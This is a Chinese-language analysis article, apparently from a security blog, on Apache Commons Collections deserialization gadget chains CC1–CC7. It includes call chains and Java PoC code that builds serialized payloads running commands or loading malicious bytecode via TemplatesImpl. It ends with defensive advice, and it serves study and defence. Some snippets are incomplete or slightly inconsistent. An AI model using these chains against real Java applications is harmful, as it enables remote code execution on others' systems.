ysoserial CommonsCollections1-7分析
字数 2274 2025-08-19 12:41:56

Apache Commons Collections 反序列化漏洞分析 (1-7)

前言

本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链,涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。

CommonsCollections1 分析

漏洞原理

利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用,通过 LazyMap.get() 方法执行 Transformer 链,最终实现任意命令执行。

调用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

关键代码分析

  1. InvokerTransformer.transform - 反射调用任意方法
public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}
  1. ChainedTransformer.transform - 链式执行多个 Transformer
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}
  1. LazyMap.get - 触发 Transformer 执行
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

POC 实现

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",new Class[]{}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class,Object[].class}, 
        new Object[]{null,new Object[]{}}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
Map map1 = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), 
    LazyMap.class.getInterfaces(), invocationHandler);
Object object = constructor.newInstance(Override.class, map1);

// 序列化和反序列化触发

CommonsCollections2 分析

漏洞原理

利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare,通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。

调用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

关键代码分析

  1. PriorityQueue.readObject - 反序列化入口
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // 读取元素
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    heapify(); // 触发比较
}
  1. TransformingComparator.compare - 触发 Transformer
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}
  1. TemplatesImpl.defineTransletClasses - 加载恶意字节码
private void defineTransletClasses() {
    // 通过 ClassLoader 定义类
    _class[i] = loader.defineClass(_bytecodes[i]);
}

POC 实现

// 生成恶意字节码
ClassPool classPool = ClassPool.getDefault();
CtClass payload = classPool.makeClass("EvilClass");
payload.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();

// 设置 TemplatesImpl
Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
    .getDeclaredConstructor().newInstance();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl, new byte[][]{bytes});

Field _name = templatesImpl.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl, "test");

// 构造 Transformer 链
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);

// 设置 PriorityQueue
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field comparatorField = queue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);

Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue, new Object[]{templatesImpl, templatesImpl});

// 序列化和反序列化触发

CommonsCollections3 分析

漏洞原理

结合 CC1 的动态代理链和 CC2 的 TemplatesImpl,使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。

调用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TrAXFilter 构造函数
                                TemplatesImpl.newTransformer()
                                    ... 执行恶意字节码

关键代码分析

  1. InstantiateTransformer.transform - 实例化任意类
public Object transform(Object input) {
    Constructor con = ((Class)input).getConstructor(this.iParamTypes);
    return con.newInstance(this.iArgs);
}
  1. TrAXFilter 构造函数 - 触发 newTransformer
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    _transformer = (TransformerImpl) templates.newTransformer();
}

POC 实现

// 生成恶意字节码 (同CC2)

// 设置 TemplatesImpl (同CC2)

// 构造 Transformer 链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, new Object[]{templatesImpl});
    
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

// 创建动态代理 (同CC1)
// 序列化和反序列化触发

CommonsCollections4 分析

漏洞原理

与 CC2 类似,但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。

调用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InstantiateTransformer.transform()
                        TrAXFilter 构造函数
                            TemplatesImpl.newTransformer()
                                ... 执行恶意字节码

POC 实现

// 生成恶意字节码 (同CC2)
// 设置 TemplatesImpl (同CC2)

// 构造 Transformer 链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, new Object[]{templatesImpl});
    
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

// 设置 PriorityQueue (同CC2)
// 序列化和反序列化触发

CommonsCollections5 分析

漏洞原理

利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString,进而调用 LazyMap.get 执行 Transformer 链。

调用链

ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ... 执行命令

关键代码分析

  1. BadAttributeValueExpException.readObject - 反序列化入口
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    Object valObj = gf.get("val", null);
    val = valObj.toString(); // 触发 toString
}
  1. TiedMapEntry.getValue - 触发 LazyMap.get
public Object getValue() {
    return this.map.get(this.key);
}

POC 实现

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",new Class[]{}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class,Object[].class}, 
        new Object[]{null,new Object[]{}}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

// 通过反射设置 val 字段
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);

// 序列化和反序列化触发

CommonsCollections6 分析

漏洞原理

利用 HashSet 的 readObject 方法触发 HashMap.put,进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。

调用链

ObjectInputStream.readObject()
    HashSet.readObject()
        HashMap.put()
            HashMap.hash()
                TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ... 执行命令

关键代码分析

  1. HashSet.readObject - 反序列化入口
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    map.put(e, PRESENT); // 触发 HashMap.put
}
  1. HashMap.hash - 触发 hashCode
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

POC 实现

// 构造 Transformer 链 (同CC5)

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);

// 移除测试键防止干扰
lazyMap.remove("test1");

// 通过反射设置真正的 Transformer 链
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);

// 序列化和反序列化触发

CommonsCollections7 分析

漏洞原理

利用 Hashtable 的 readObject 方法触发 reconstitutionPut,通过 equals 比较触发 LazyMap.get 执行 Transformer 链。

调用链

ObjectInputStream.readObject()
    Hashtable.readObject()
        Hashtable.reconstitutionPut()
            AbstractMapDecorator.equals()
                AbstractMap.equals()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ... 执行命令

关键代码分析

  1. Hashtable.reconstitutionPut - 触发 equals
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}
  1. AbstractMap.equals - 触发 get
public boolean equals(Object o) {
    if (!value.equals(m.get(key)))
        return false;
}

POC 实现

// 构造 Transformer 链 (同CC5)

Map map1 = new HashMap();
Map map2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(map1, new ChainedTransformer(new Transformer[]{}));
Map lazyMap2 = LazyMap.decorate(map2, new ChainedTransformer(new Transformer[]{}));

// 设置不同键触发比较
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

// 清理测试数据
lazyMap2.remove("yy");

// 通过反射设置真正的 Transformer 链
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);

// 序列化和反序列化触发

总结

  1. CC1-CC7 核心思想:通过反序列化触发特定类的特定方法,最终执行 Transformer 链或加载恶意字节码。

  2. 主要触发点

    • AnnotationInvocationHandler.readObject (CC1, CC3)
    • PriorityQueue.readObject (CC2, CC4)
    • BadAttributeValueExpException.readObject (CC5)
    • HashSet.readObject (CC6)
    • Hashtable.readObject (CC7)
  3. 执行方式

    • InvokerTransformer 反射调用 (CC1, CC2, CC5-7)
    • InstantiateTransformer 实例化触发 (CC3, CC4)
    • TemplatesImpl 字节码加载 (CC2-4)
  4. 防御措施

    • 升级 Commons Collections 到安全版本
    • 使用 Java 反序列化过滤器
    • 避免反序列化不可信数据

参考

  1. https://www.freebuf.com/articles/web/214096.html
  2. https://xz.aliyun.com/t/7157
Apache Commons Collections 反序列化漏洞分析 (1-7) 前言 本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链,涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。 CommonsCollections1 分析 漏洞原理 利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用,通过 LazyMap.get() 方法执行 Transformer 链,最终实现任意命令执行。 调用链 关键代码分析 InvokerTransformer.transform - 反射调用任意方法 ChainedTransformer.transform - 链式执行多个 Transformer LazyMap.get - 触发 Transformer 执行 POC 实现 CommonsCollections2 分析 漏洞原理 利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare,通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。 调用链 关键代码分析 PriorityQueue.readObject - 反序列化入口 TransformingComparator.compare - 触发 Transformer TemplatesImpl.defineTransletClasses - 加载恶意字节码 POC 实现 CommonsCollections3 分析 漏洞原理 结合 CC1 的动态代理链和 CC2 的 TemplatesImpl,使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。 调用链 关键代码分析 InstantiateTransformer.transform - 实例化任意类 TrAXFilter 构造函数 - 触发 newTransformer POC 实现 CommonsCollections4 分析 漏洞原理 与 CC2 类似,但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。 调用链 POC 实现 CommonsCollections5 分析 漏洞原理 利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString,进而调用 LazyMap.get 执行 Transformer 链。 调用链 关键代码分析 BadAttributeValueExpException.readObject - 反序列化入口 TiedMapEntry.getValue - 触发 LazyMap.get POC 实现 CommonsCollections6 分析 漏洞原理 利用 HashSet 的 readObject 方法触发 HashMap.put,进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。 调用链 关键代码分析 HashSet.readObject - 反序列化入口 HashMap.hash - 触发 hashCode POC 实现 CommonsCollections7 分析 漏洞原理 利用 Hashtable 的 readObject 方法触发 reconstitutionPut,通过 equals 比较触发 LazyMap.get 执行 Transformer 链。 调用链 关键代码分析 Hashtable.reconstitutionPut - 触发 equals AbstractMap.equals - 触发 get POC 实现 总结 CC1-CC7 核心思想 :通过反序列化触发特定类的特定方法,最终执行 Transformer 链或加载恶意字节码。 主要触发点 : AnnotationInvocationHandler.readObject (CC1, CC3) PriorityQueue.readObject (CC2, CC4) BadAttributeValueExpException.readObject (CC5) HashSet.readObject (CC6) Hashtable.readObject (CC7) 执行方式 : InvokerTransformer 反射调用 (CC1, CC2, CC5-7) InstantiateTransformer 实例化触发 (CC3, CC4) TemplatesImpl 字节码加载 (CC2-4) 防御措施 : 升级 Commons Collections 到安全版本 使用 Java 反序列化过滤器 避免反序列化不可信数据 参考 https://www.freebuf.com/articles/web/214096.html https://xz.aliyun.com/t/7157